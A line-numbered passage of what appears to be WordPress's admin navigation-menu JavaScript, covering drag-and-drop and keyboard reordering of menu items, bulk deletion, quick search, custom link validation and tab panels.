780 // All open items have to be refreshed or they will show no links.
781 $( '.menu-item-edit-active a.item-edit' ).each( function() {
782 api.refreshAdvancedAccessibilityOfItem( this );
783 } );
784 },
785
786 refreshKeyboardAccessibility : function() {
787 $( 'a.item-edit' ).off( 'focus' ).on( 'focus', function(){
788 $(this).off( 'keydown' ).on( 'keydown', function(e){
789
790 var arrows,
791 $this = $( this ),
792 thisItem = $this.parents( 'li.menu-item' ),
793 thisItemData = thisItem.getItemData();
794
795 // Bail if it's not an arrow key.
796 if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which )
797 return;
798
799 // Avoid multiple keydown events.
800 $this.off('keydown');
801
802 // Bail if there is only one menu item.
803 if ( 1 === $('#menu-to-edit li').length )
804 return;
805
806 // If RTL, swap left/right arrows.
807 arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' };
808 if ( $('body').hasClass('rtl') )
809 arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' };
810
811 switch ( arrows[e.which] ) {
812 case 'up':
813 api.moveMenuItem( $this, 'up' );
814 break;
815 case 'down':
816 api.moveMenuItem( $this, 'down' );
817 break;
818 case 'left':
819 api.moveMenuItem( $this, 'left' );
820 break;
821 case 'right':
822 api.moveMenuItem( $this, 'right' );
823 break;
824 }
825 // Put focus back on same menu item.
826 $( '#edit-' + thisItemData['menu-item-db-id'] ).trigger( 'focus' );
827 return false;
828 });
829 });
830 },
831
832 initPreviewing : function() {
833 // Update the item handle title when the navigation label is changed.
834 $( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) {
835 var input = $( e.currentTarget ), title, titleEl;
836 title = input.val();
837 titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' );
838 // Don't update to empty title.
839 if ( title ) {
840 titleEl.text( title ).removeClass( 'no-title' );
841 } else {
842 titleEl.text( wp.i18n._x( '(no label)', 'missing menu item navigation label' ) ).addClass( 'no-title' );
843 }
844 } );
845 },
846
847 initToggles : function() {
848 // Init postboxes.
849 postboxes.add_postbox_toggles('nav-menus');
850
851 // Adjust columns functions for menus UI.
852 columns.useCheckboxesForHidden();
853 columns.checked = function(field) {
854 $('.field-' + field).removeClass('hidden-field');
855 };
856 columns.unchecked = function(field) {
857 $('.field-' + field).addClass('hidden-field');
858 };
859 // Hide fields.
860 api.menuList.hideAdvancedMenuItemFields();
861
862 $('.hide-postbox-tog').on( 'click', function () {
863 var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(',');
864 $.post(ajaxurl, {
865 action: 'closed-postboxes',
866 hidden: hidden,
867 closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
868 page: 'nav-menus'
869 });
870 });
871 },
872
873 initSortables : function() {
874 var currentDepth = 0, originalDepth, minDepth, maxDepth,
875 prev, next, prevBottom, nextThreshold, helperHeight, transport,
876 menuEdge = api.menuList.offset().left,
877 body = $('body'), maxChildDepth,
878 menuMaxDepth = initialMenuMaxDepth();
879
880 if( 0 !== $( '#menu-to-edit li' ).length )
881 $( '.drag-instructions' ).show();
882
883 // Use the right edge if RTL.
884 menuEdge += api.isRTL ? api.menuList.width() : 0;
885
886 api.menuList.sortable({
887 handle: '.menu-item-handle',
888 placeholder: 'sortable-placeholder',
889 items: api.options.sortableItems,
890 start: function(e, ui) {
891 var height, width, parent, children, tempHolder;
892
893 // Handle placement for RTL orientation.
894 if ( api.isRTL )
895 ui.item[0].style.right = 'auto';
896
897 transport = ui.item.children('.menu-item-transport');
898
899 // Set depths. currentDepth must be set before children are located.
900 originalDepth = ui.item.menuItemDepth();
901 updateCurrentDepth(ui, originalDepth);
902
903 // Attach child elements to parent.
904 // Skip the placeholder.
905 parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item;
906 children = parent.childMenuItems();
907 transport.append( children );
908
909 // Update the height of the placeholder to match the moving item.
910 height = transport.outerHeight();
911 // If there are children, account for distance between top of children and parent.
912 height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0;
913 height += ui.helper.outerHeight();
914 helperHeight = height;
915 height -= 2; // Subtract 2 for borders.
916 ui.placeholder.height(height);
917
918 // Update the width of the placeholder to match the moving item.
919 maxChildDepth = originalDepth;
920 children.each(function(){
921 var depth = $(this).menuItemDepth();
922 maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth;
923 });
924 width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width.
925 width += api.depthToPx(maxChildDepth - originalDepth); // Account for children.
926 width -= 2; // Subtract 2 for borders.
927 ui.placeholder.width(width);
928
929 // Update the list of menu items.
930 tempHolder = ui.placeholder.next( '.menu-item' );
931 tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder.
932 ui.placeholder.detach(); // Detach or jQuery UI will think the placeholder is a menu item.
933 $(this).sortable( 'refresh' ); // The children aren't sortable. We should let jQuery UI know.
934 ui.item.after( ui.placeholder ); // Reattach the placeholder.
935 tempHolder.css('margin-top', 0); // Reset the margin.
936
937 // Now that the element is complete, we can update...
938 updateSharedVars(ui);
939 },
940 stop: function(e, ui) {
941 var children, subMenuTitle,
942 depthChange = currentDepth - originalDepth;
943
944 // Return child elements to the list.
945 children = transport.children().insertAfter(ui.item);
946
947 // Add "sub menu" description.
948 subMenuTitle = ui.item.find( '.item-title .is-submenu' );
949 if ( 0 < currentDepth )
950 subMenuTitle.show();
951 else
952 subMenuTitle.hide();
953
954 // Update depth classes.
955 if ( 0 !== depthChange ) {
956 ui.item.updateDepthClass( currentDepth );
957 children.shiftDepthClass( depthChange );
958 updateMenuMaxDepth( depthChange );
959 }
960 // Register a change.
961 api.registerChange();
962 // Update the item data.
963 ui.item.updateParentMenuItemDBId();
964
965 // Address sortable's incorrectly-calculated top in Opera.
966 ui.item[0].style.top = 0;
967
968 // Handle drop placement for rtl orientation.
969 if ( api.isRTL ) {
970 ui.item[0].style.left = 'auto';
971 ui.item[0].style.right = 0;
972 }
973
974 api.refreshKeyboardAccessibility();
975 api.refreshAdvancedAccessibility();
976 ui.item.updateParentDropdown();
977 ui.item.updateOrderDropdown();
978 api.refreshAdvancedAccessibilityOfItem( ui.item.find( 'a.item-edit' ) );
979 },
980 change: function(e, ui) {
981 // Make sure the placeholder is inside the menu.
982 // Otherwise fix it, or we're in trouble.
983 if( ! ui.placeholder.parent().hasClass('menu') )
984 (prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder );
985
986 updateSharedVars(ui);
987 },
988 sort: function(e, ui) {
989 var offset = ui.helper.offset(),
990 edge = api.isRTL ? offset.left + ui.helper.width() : offset.left,
991 depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge );
992
993 /*
994 * Check and correct if depth is not within range.
995 * Also, if the dragged element is dragged upwards over an item,
996 * shift the placeholder to a child position.
997 */
998 if ( depth > maxDepth || offset.top < ( prevBottom - api.options.targetTolerance ) ) {
999 depth = maxDepth;
1000 } else if ( depth < minDepth ) {
1001 depth = minDepth;
1002 }
1003
1004 if( depth != currentDepth )
1005 updateCurrentDepth(ui, depth);
1006
1007 // If we overlap the next element, manually shift downwards.
1008 if( nextThreshold && offset.top + helperHeight > nextThreshold ) {
1009 next.after( ui.placeholder );
1010 updateSharedVars( ui );
1011 $( this ).sortable( 'refreshPositions' );
1012 }
1013 }
1014 });
1015
1016 function updateSharedVars(ui) {
1017 var depth;
1018
1019 prev = ui.placeholder.prev( '.menu-item' );
1020 next = ui.placeholder.next( '.menu-item' );
1021
1022 // Make sure we don't select the moving item.
1023 if( prev[0] == ui.item[0] ) prev = prev.prev( '.menu-item' );
1024 if( next[0] == ui.item[0] ) next = next.next( '.menu-item' );
1025
1026 prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0;
1027 nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0;
1028 minDepth = (next.length) ? next.menuItemDepth() : 0;
1029
1030 if( prev.length )
1031 maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth;
1032 else
1033 maxDepth = 0;
1034 }
1035
1036 function updateCurrentDepth(ui, depth) {
1037 ui.placeholder.updateDepthClass( depth, currentDepth );
1038 currentDepth = depth;
1039 }
1040
1041 function initialMenuMaxDepth() {
1042 if( ! body[0].className ) return 0;
1043 var match = body[0].className.match(/menu-max-depth-(\d+)/);
1044 return match && match[1] ? parseInt( match[1], 10 ) : 0;
1045 }
1046
1047 function updateMenuMaxDepth( depthChange ) {
1048 var depth, newDepth = menuMaxDepth;
1049 if ( depthChange === 0 ) {
1050 return;
1051 } else if ( depthChange > 0 ) {
1052 depth = maxChildDepth + depthChange;
1053 if( depth > menuMaxDepth )
1054 newDepth = depth;
1055 } else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) {
1056 while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 )
1057 newDepth--;
1058 }
1059 // Update the depth class.
1060 body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth );
1061 menuMaxDepth = newDepth;
1062 }
1063 },
1064
1065 initManageLocations : function () {
1066 $('#menu-locations-wrap form').on( 'submit', function(){
1067 window.onbeforeunload = null;
1068 });
1069 $('.menu-location-menus select').on('change', function () {
1070 var editLink = $(this).closest('tr').find('.locations-edit-menu-link');
1071 if ($(this).find('option:selected').data('orig'))
1072 editLink.show();
1073 else
1074 editLink.hide();
1075 });
1076 },
1077
1078 attachMenuEditListeners : function() {
1079 var that = this;
1080 $('#update-nav-menu').on('click', function(e) {
1081 if ( e.target && e.target.className ) {
1082 if ( -1 != e.target.className.indexOf('item-edit') ) {
1083 return that.eventOnClickEditLink(e.target);
1084 } else if ( -1 != e.target.className.indexOf('menu-save') ) {
1085 return that.eventOnClickMenuSave(e.target);
1086 } else if ( -1 != e.target.className.indexOf('menu-delete') ) {
1087 return that.eventOnClickMenuDelete(e.target);
1088 } else if ( -1 != e.target.className.indexOf('item-delete') ) {
1089 return that.eventOnClickMenuItemDelete(e.target);
1090 } else if ( -1 != e.target.className.indexOf('item-cancel') ) {
1091 return that.eventOnClickCancelLink(e.target);
1092 }
1093 }
1094 });
1095
1096 $( '#menu-name' ).on( 'input', _.debounce( function () {
1097 var menuName = $( document.getElementById( 'menu-name' ) ),
1098 menuNameVal = menuName.val();
1099
1100 if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
1101 // Add warning for invalid menu name.
1102 menuName.parent().addClass( 'form-invalid' );
1103 } else {
1104 // Remove warning for valid menu name.
1105 menuName.parent().removeClass( 'form-invalid' );
1106 }
1107 }, 500 ) );
1108
1109 $('#add-custom-links input[type="text"]').on( 'keypress', function(e){
1110 $( '#customlinkdiv' ).removeClass( 'form-invalid' );
1111 $( '#custom-menu-item-url' ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' );
1112 $( '#custom-url-error' ).hide();
1113
1114 if ( e.keyCode === 13 ) {
1115 e.preventDefault();
1116 $( '#submit-customlinkdiv' ).trigger( 'click' );
1117 }
1118 });
1119
1120 $( '#submit-customlinkdiv' ).on( 'click', function (e) {
1121 var urlInput = $( '#custom-menu-item-url' ),
1122 url = urlInput.val().trim(),
1123 errorMessage = $( '#custom-url-error' ),
1124 urlWrap = $( '#menu-item-url-wrap' ),
1125 urlRegex;
1126
1127 // Hide the error message initially
1128 errorMessage.hide();
1129 urlWrap.removeClass( 'has-error' );
1130
1131 /*
1132 * Allow URLs including:
1133 * - http://example.com/
1134 * - //example.com
1135 * - /directory/
1136 * - ?query-param
1137 * - #target
1138 * - mailto:[email protected]
1139 *
1140 * Any further validation will be handled on the server when the setting is attempted to be saved,
1141 * so this pattern does not need to be complete.
1142 */
1143 urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;
1144 if ( ! urlRegex.test( url ) ) {
1145 e.preventDefault();
1146 urlInput.addClass( 'form-invalid' )
1147 .attr( 'aria-invalid', 'true' )
1148 .attr( 'aria-describedby', 'custom-url-error' );
1149
1150 errorMessage.show();
1151 var errorText = errorMessage.text();
1152 urlWrap.addClass( 'has-error' );
1153 // Announce error message via screen reader
1154 wp.a11y.speak( errorText, 'assertive' );
1155 }
1156 });
1157 },
1158
1159 /**
1160 * Handle toggling bulk selection checkboxes for menu items.
1161 *
1162 * @since 5.8.0
1163 */
1164 attachBulkSelectButtonListeners : function() {
1165 var that = this;
1166
1167 $( '.bulk-select-switcher' ).on( 'change', function() {
1168 if ( this.checked ) {
1169 $( '.bulk-select-switcher' ).prop( 'checked', true );
1170 that.enableBulkSelection();
1171 } else {
1172 $( '.bulk-select-switcher' ).prop( 'checked', false );
1173 that.disableBulkSelection();
1174 }
1175 });
1176 },
1177
1178 /**
1179 * Enable bulk selection checkboxes for menu items.
1180 *
1181 * @since 5.8.0
1182 */
1183 enableBulkSelection : function() {
1184 var checkbox = $( '#menu-to-edit .menu-item-checkbox' );
1185
1186 $( '#menu-to-edit' ).addClass( 'bulk-selection' );
1187 $( '#nav-menu-bulk-actions-top' ).addClass( 'bulk-selection' );
1188 $( '#nav-menu-bulk-actions-bottom' ).addClass( 'bulk-selection' );
1189
1190 $.each( checkbox, function() {
1191 $(this).prop( 'disabled', false );
1192 });
1193 },
1194
1195 /**
1196 * Disable bulk selection checkboxes for menu items.
1197 *
1198 * @since 5.8.0
1199 */
1200 disableBulkSelection : function() {
1201 var checkbox = $( '#menu-to-edit .menu-item-checkbox' );
1202
1203 $( '#menu-to-edit' ).removeClass( 'bulk-selection' );
1204 $( '#nav-menu-bulk-actions-top' ).removeClass( 'bulk-selection' );
1205 $( '#nav-menu-bulk-actions-bottom' ).removeClass( 'bulk-selection' );
1206
1207 if ( $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
1208 $( '.menu-items-delete' ).removeAttr( 'aria-describedby' );
1209 }
1210
1211 $.each( checkbox, function() {
1212 $(this).prop( 'disabled', true ).prop( 'checked', false );
1213 });
1214
1215 $( '.menu-items-delete' ).addClass( 'disabled' );
1216 $( '#pending-menu-items-to-delete ul' ).empty();
1217 },
1218
1219 /**
1220 * Listen for state changes on bulk action checkboxes.
1221 *
1222 * @since 5.8.0
1223 */
1224 attachMenuCheckBoxListeners : function() {
1225 var that = this;
1226
1227 $( '#menu-to-edit' ).on( 'change', '.menu-item-checkbox', function() {
1228 that.setRemoveSelectedButtonStatus();
1229 });
1230 },
1231
1232 /**
1233 * Create delete button to remove menu items from collection.
1234 *
1235 * @since 5.8.0
1236 */
1237 attachMenuItemDeleteButton : function() {
1238 var that = this;
1239
1240 $( document ).on( 'click', '.menu-items-delete', function( e ) {
1241 var itemsPendingDeletion, itemsPendingDeletionList, deletionSpeech;
1242
1243 e.preventDefault();
1244
1245 if ( ! $(this).hasClass( 'disabled' ) ) {
1246 $.each( $( '.menu-item-checkbox:checked' ), function( index, element ) {
1247 $( element ).parents( 'li' ).find( 'a.item-delete' ).trigger( 'click' );
1248 });
1249
1250 $( '.menu-items-delete' ).addClass( 'disabled' );
1251 $( '.bulk-select-switcher' ).prop( 'checked', false );
1252
1253 itemsPendingDeletion = '';
1254 itemsPendingDeletionList = $( '#pending-menu-items-to-delete ul li' );
1255
1256 $.each( itemsPendingDeletionList, function( index, element ) {
1257 var itemName = $( element ).find( '.pending-menu-item-name' ).text();
1258 var itemSpeech = menus.menuItemDeletion.replace( '%s', itemName );
1259
1260 itemsPendingDeletion += itemSpeech;
1261 if ( ( index + 1 ) < itemsPendingDeletionList.length ) {
1262 itemsPendingDeletion += ', ';
1263 }
1264 });
1265
1266 deletionSpeech = menus.itemsDeleted.replace( '%s', itemsPendingDeletion );
1267 wp.a11y.speak( deletionSpeech, 'polite' );
1268 that.disableBulkSelection();
1269 $( '#menu-to-edit' ).updateParentDropdown();
1270 $( '#menu-to-edit' ).updateOrderDropdown();
1271 }
1272 });
1273 },
1274
1275 /**
1276 * List menu items awaiting deletion.
1277 *
1278 * @since 5.8.0
1279 */
1280 attachPendingMenuItemsListForDeletion : function() {
1281 $( '#post-body-content' ).on( 'change', '.menu-item-checkbox', function() {
1282 var menuItemName, menuItemType, menuItemID, listedMenuItem;
1283
1284 if ( ! $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
1285 $( '.menu-items-delete' ).attr( 'aria-describedby', 'pending-menu-items-to-delete' );
1286 }
1287
1288 menuItemName = $(this).next().text();
1289 menuItemType = $(this).parent().next( '.item-controls' ).find( '.item-type' ).text();
1290 menuItemID = $(this).attr( 'data-menu-item-id' );
1291
1292 listedMenuItem = $( '#pending-menu-items-to-delete ul' ).find( '[data-menu-item-id=' + menuItemID + ']' );
1293 if ( listedMenuItem.length > 0 ) {
1294 listedMenuItem.remove();
1295 }
1296
1297 if ( this.checked === true ) {
1298 const $li = $( '<li>', { 'data-menu-item-id': menuItemID } );
1299 $li.append( $( '<span>', {
1300 'class': 'pending-menu-item-name',
1301 text: menuItemName
1302 } ) );
1303 $li.append( ' ' );
1304 $li.append( $( '<span>', {
1305 'class': 'pending-menu-item-type',
1306 text: '(' + menuItemType + ')',
1307 } ) );
1308 $li.append( $( '<span>', { 'class': 'separator' } ) );
1309 $( '#pending-menu-items-to-delete ul' ).append( $li );
1310 }
1311
1312 $( '#pending-menu-items-to-delete li .separator' ).html( ', ' );
1313 $( '#pending-menu-items-to-delete li .separator' ).last().html( '.' );
1314 });
1315 },
1316
1317 /**
1318 * Set status of bulk delete checkbox.
1319 *
1320 * @since 5.8.0
1321 */
1322 setBulkDeleteCheckboxStatus : function() {
1323 var that = this;
1324 var checkbox = $( '#menu-to-edit .menu-item-checkbox' );
1325
1326 $.each( checkbox, function() {
1327 if ( $(this).prop( 'disabled' ) ) {
1328 $(this).prop( 'disabled', false );
1329 } else {
1330 $(this).prop( 'disabled', true );
1331 }
1332
1333 if ( $(this).is( ':checked' ) ) {
1334 $(this).prop( 'checked', false );
1335 }
1336 });
1337
1338 that.setRemoveSelectedButtonStatus();
1339 },
1340
1341 /**
1342 * Set status of menu items removal button.
1343 *
1344 * @since 5.8.0
1345 */
1346 setRemoveSelectedButtonStatus : function() {
1347 var button = $( '.menu-items-delete' );
1348
1349 if ( $( '.menu-item-checkbox:checked' ).length > 0 ) {
1350 button.removeClass( 'disabled' );
1351 } else {
1352 button.addClass( 'disabled' );
1353 }
1354 },
1355
1356 attachMenuSaveSubmitListeners : function() {
1357 /*
1358 * When a navigation menu is saved, store a JSON representation of all form data
1359 * in a single input to avoid PHP `max_input_vars` limitations. See #14134.
1360 */
1361 $( '#update-nav-menu' ).on( 'submit', function() {
1362 var navMenuData = $( '#update-nav-menu' ).serializeArray();
1363 $( '[name="nav-menu-data"]' ).val( JSON.stringify( navMenuData ) );
1364 });
1365 },
1366
1367 attachThemeLocationsListeners : function() {
1368 var loc = $('#nav-menu-theme-locations'), params = {};
1369 params.action = 'menu-locations-save';
1370 params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val();
1371 loc.find('input[type="submit"]').on( 'click', function() {
1372 loc.find('select').each(function() {
1373 params[this.name] = $(this).val();
1374 });
1375 loc.find( '.spinner' ).addClass( 'is-active' );
1376 $.post( ajaxurl, params, function() {
1377 loc.find( '.spinner' ).removeClass( 'is-active' );
1378 });
1379 return false;
1380 });
1381 },
1382
1383 attachQuickSearchListeners : function() {
1384 var searchTimer;
1385
1386 // Prevent form submission.
1387 $( '#nav-menu-meta' ).on( 'submit', function( event ) {
1388 event.preventDefault();
1389 });
1390
1391 $( '#nav-menu-meta' ).on( 'input', '.quick-search', function() {
1392 var $this = $( this );
1393
1394 $this.attr( 'autocomplete', 'off' );
1395
1396 if ( searchTimer ) {
1397 clearTimeout( searchTimer );
1398 }
1399
1400 searchTimer = setTimeout( function() {
1401 api.updateQuickSearchResults( $this );
1402 }, 500 );
1403 }).on( 'blur', '.quick-search', function() {
1404 api.lastSearch = '';
1405 });
1406 },
1407
1408 updateQuickSearchResults : function(input) {
1409 var panel, params,
1410 minSearchLength = 1,
1411 q = input.val(),
1412 pageSearchChecklist = $( '#page-search-checklist' );
1413
1414 /*
1415 * Avoid a new Ajax search when the pressed key (e.g. arrows)
1416 * doesn't change the searched term.
1417 */
1418 if ( api.lastSearch == q ) {
1419 return;
1420 }
1421
1422 /*
1423 * Reset results when search is less than or equal to
1424 * minimum characters for searched term.
1425 */
1426 if ( q.length <= minSearchLength ) {
1427 pageSearchChecklist.empty();
1428 wp.a11y.speak( wp.i18n.__( 'Search results cleared' ) );
1429 return;
1430 }
1431
1432 api.lastSearch = q;
1433
1434 panel = input.parents('.tabs-panel');
1435 params = {
1436 'action': 'menu-quick-search',
1437 'response-format': 'markup',
1438 'menu': $('#menu').val(),
1439 'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(),
1440 'q': q,
1441 'type': input.attr('name')
1442 };
1443
1444 $( '.spinner', panel ).addClass( 'is-active' );
1445
1446 $.post( ajaxurl, params, function(menuMarkup) {
1447 api.processQuickSearchQueryResponse(menuMarkup, params, panel);
1448 });
1449 },
1450
1451 addCustomLink : function( processMethod ) {
1452 var url = $('#custom-menu-item-url').val().toString(),
1453 label = $('#custom-menu-item-name').val(),
1454 urlRegex;
1455
1456 if ( '' !== url ) {
1457 url = url.trim();
1458 }
1459
1460 processMethod = processMethod || api.addMenuItemToBottom;
1461
1462 /*
1463 * Allow URLs including:
1464 * - http://example.com/
1465 * - //example.com
1466 * - /directory/
1467 * - ?query-param
1468 * - #target
1469 * - mailto:[email protected]
1470 *
1471 * Any further validation will be handled on the server when the setting is attempted to be saved,
1472 * so this pattern does not need to be complete.
1473 */
1474 urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;
1475 if ( ! urlRegex.test( url ) ) {
1476 $('#customlinkdiv').addClass('form-invalid');
1477 return false;
1478 }
1479
1480 // Show the Ajax spinner.
1481 $( '.customlinkdiv .spinner' ).addClass( 'is-active' );
1482 this.addLinkToMenu( url, label, processMethod, function() {
1483 // Remove the Ajax spinner.
1484 $( '.customlinkdiv .spinner' ).removeClass( 'is-active' );
1485 // Set custom link form back to defaults.
1486 $('#custom-menu-item-name').val('').trigger( 'blur' );
1487 $( '#custom-menu-item-url' ).val( '' ).attr( 'placeholder', 'https://' );
1488 });
1489 },
1490
1491 addLinkToMenu : function(url, label, processMethod, callback) {
1492 processMethod = processMethod || api.addMenuItemToBottom;
1493 callback = callback || function(){};
1494
1495 api.addItemToMenu({
1496 '-1': {
1497 'menu-item-type': 'custom',
1498 'menu-item-url': url,
1499 'menu-item-title': label
1500 }
1501 }, processMethod, callback);
1502 },
1503
1504 addItemToMenu : function(menuItem, processMethod, callback) {
1505 var menu = $('#menu').val(),
1506 nonce = $('#menu-settings-column-nonce').val(),
1507 params;
1508
1509 processMethod = processMethod || function(){};
1510 callback = callback || function(){};
1511
1512 params = {
1513 'action': 'add-menu-item',
1514 'menu': menu,
1515 'menu-settings-column-nonce': nonce,
1516 'menu-item': menuItem
1517 };
1518
1519 $.post( ajaxurl, params, function(menuMarkup) {
1520 var ins = $('#menu-instructions');
1521
1522 menuMarkup = menuMarkup || '';
1523 menuMarkup = menuMarkup.toString().trim(); // Trim leading whitespaces.
1524 processMethod(menuMarkup, params);
1525
1526 // Make it stand out a bit more visually, by adding a fadeIn.
1527 $( 'li.pending' ).hide().fadeIn('slow');
1528 $( '.drag-instructions' ).show();
1529 if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length )
1530 ins.addClass( 'menu-instructions-inactive' );
1531
1532 callback();
1533 });
1534 },
1535
1536 /**
1537 * Process the add menu item request response into menu list item. Appends to menu.
1538 *
1539 * @param {string} menuMarkup The text server response of menu item markup.
1540 *
1541 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
1542 */
1543 addMenuItemToBottom : function( menuMarkup ) {
1544 var $menuMarkup = $( menuMarkup );
1545 $menuMarkup.hideAdvancedMenuItemFields().appendTo( api.targetList );
1546 api.refreshKeyboardAccessibility();
1547 api.refreshAdvancedAccessibility();
1548 wp.a11y.speak( menus.itemAdded );
1549 $( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
1550 },
1551
1552 /**
1553 * Process the add menu item request response into menu list item. Prepends to menu.
1554 *
1555 * @param {string} menuMarkup The text server response of menu item markup.
1556 *
1557 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
1558 */
1559 addMenuItemToTop : function( menuMarkup ) {
1560 var $menuMarkup = $( menuMarkup );
1561 $menuMarkup.hideAdvancedMenuItemFields().prependTo( api.targetList );
1562 api.refreshKeyboardAccessibility();
1563 api.refreshAdvancedAccessibility();
1564 wp.a11y.speak( menus.itemAdded );
1565 $( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
1566 },
1567
1568 attachUnsavedChangesListener : function() {
1569 $('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').on( 'change', function(){
1570 api.registerChange();
1571 });
1572
1573 if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) {
1574 window.onbeforeunload = function(){
1575 if ( api.menusChanged )
1576 return wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
1577 };
1578 } else {
1579 // Make the post boxes read-only, as they can't be used yet.
1580 $( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).off( 'click' );
1581 }
1582 },
1583
1584 registerChange : function() {
1585 api.menusChanged = true;
1586 },
1587
1588 attachTabsPanelListeners : function() {
1589 $('#menu-settings-column').on('click', function(e) {
1590 var selectAreaMatch, selectAll, panelId, wrapper, items,
1591 target = $(e.target);
1592
1593 if ( target.hasClass('nav-tab-link') ) {
1594
1595 panelId = target.data( 'type' );
1596
1597 wrapper = target.parents('.accordion-section-content').first();
1598
1599 // Upon changing tabs, we want to uncheck all checkboxes.
1600 $( 'input', wrapper ).prop( 'checked', false );
1601
1602 $('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive');
1603 $('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active');
1604
1605 $('.tabs', wrapper).removeClass('tabs');
1606 target.parent().addClass('tabs');
1607
1608 // Select the search bar.
1609 $('.quick-search', wrapper).trigger( 'focus' );
1610
1611 // Hide controls in the search tab if no items found.
1612 if ( ! wrapper.find( '.tabs-panel-active .menu-item-title' ).length ) {
1613 wrapper.addClass( 'has-no-menu-item' );
1614 } else {
1615 wrapper.removeClass( 'has-no-menu-item' );
1616 }
1617
1618 e.preventDefault();
1619 } else if ( target.hasClass( 'select-all' ) ) {
1620 selectAreaMatch = target.closest( '.button-controls' ).data( 'items-type' );
1621 if ( selectAreaMatch ) {
1622 items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );
1623
1624 if ( items.length === items.filter( ':checked' ).length && ! target.is( ':checked' ) ) {
1625 items.prop( 'checked', false );
1626 } else if ( target.is( ':checked' ) ) {
1627 items.prop( 'checked', true );
1628 }
1629 }
1630 } else if ( target.hasClass( 'menu-item-checkbox' ) ) {
1631 selectAreaMatch = target.closest( '.tabs-panel-active' ).parent().attr( 'id' );
1632 if ( selectAreaMatch ) {
1633 items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );
1634 selectAll = $( '.button-controls[data-items-type="' + selectAreaMatch + '"] .select-all' );
1635
1636 if ( items.length === items.filter( ':checked' ).length && ! selectAll.is( ':checked' ) ) {
1637 selectAll.prop( 'checked', true );
1638 } else if ( selectAll.is( ':checked' ) ) {
1639 selectAll.prop( 'checked', false );
1640 }
1641 }
1642 } else if ( target.hasClass('submit-add-to-menu') ) {
1643 api.registerChange();
1644
1645 if ( e.target.id && 'submit-customlinkdiv' == e.target.id )
1646 api.addCustomLink( api.addMenuItemToBottom );
1647 else if ( e.target.id && -1 != e.target.id.indexOf('submit-') )
1648 $('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom );
1649 return false;
1650 }
1651 });
1652
1653 /*
1654 * Delegate the `click` event and attach it just to the pagination
1655 * links thus excluding the current page `<span>`. See ticket #35577.
1656 */
1657 $( '#nav-menu-meta' ).on( 'click', 'a.page-numbers', function() {
1658 var $container = $( this ).closest( '.inside' );
1659
1660 $.post( ajaxurl, this.href.replace( /.*\?/, '' ).replace( /action=([^&]*)/, '' ) + '&action=menu-get-metabox',
1661 function( resp ) {
1662 var metaBoxData = JSON.parse( resp ),
1663 toReplace;
1664
1665 if ( -1 === resp.indexOf( 'replace-id' ) ) {
1666 return;
1667 }
1668
1669 // Get the post type menu meta box to update.
1670 toReplace = document.getElementById( metaBoxData['replace-id'] );
1671
1672 if ( ! metaBoxData.markup || ! toReplace ) {
1673 return;
1674 }
1675
1676 // Update the post type menu meta box with new content from the response.
1677 $container.html( metaBoxData.markup );
1678 }
1679 );
1680
1681 return false;
1682 });
1683 },
1684
1685 eventOnClickEditLink : function(clickedEl) {
1686 var settings, item,
1687 matchedSection = /#(.*)$/.exec(clickedEl.href);
1688
1689 if ( matchedSection && matchedSection[1] ) {
1690 settings = $('#'+matchedSection[1]);
1691 item = settings.parent();
1692 if( 0 !== item.length ) {
1693 if( item.hasClass('menu-item-edit-inactive') ) {
1694 if( ! settings.data('menu-item-data') ) {
1695 settings.data( 'menu-item-data', settings.getItemData() );
1696 }
1697 settings.slideDown('fast');
1698 item.removeClass('menu-item-edit-inactive')
1699 .addClass('menu-item-edit-active');
1700 } else {
1701 settings.slideUp('fast');
1702 item.removeClass('menu-item-edit-active')
1703 .addClass('menu-item-edit-inactive');
1704 }
1705 return false;
1706 }
1707 }
1708 },
1709
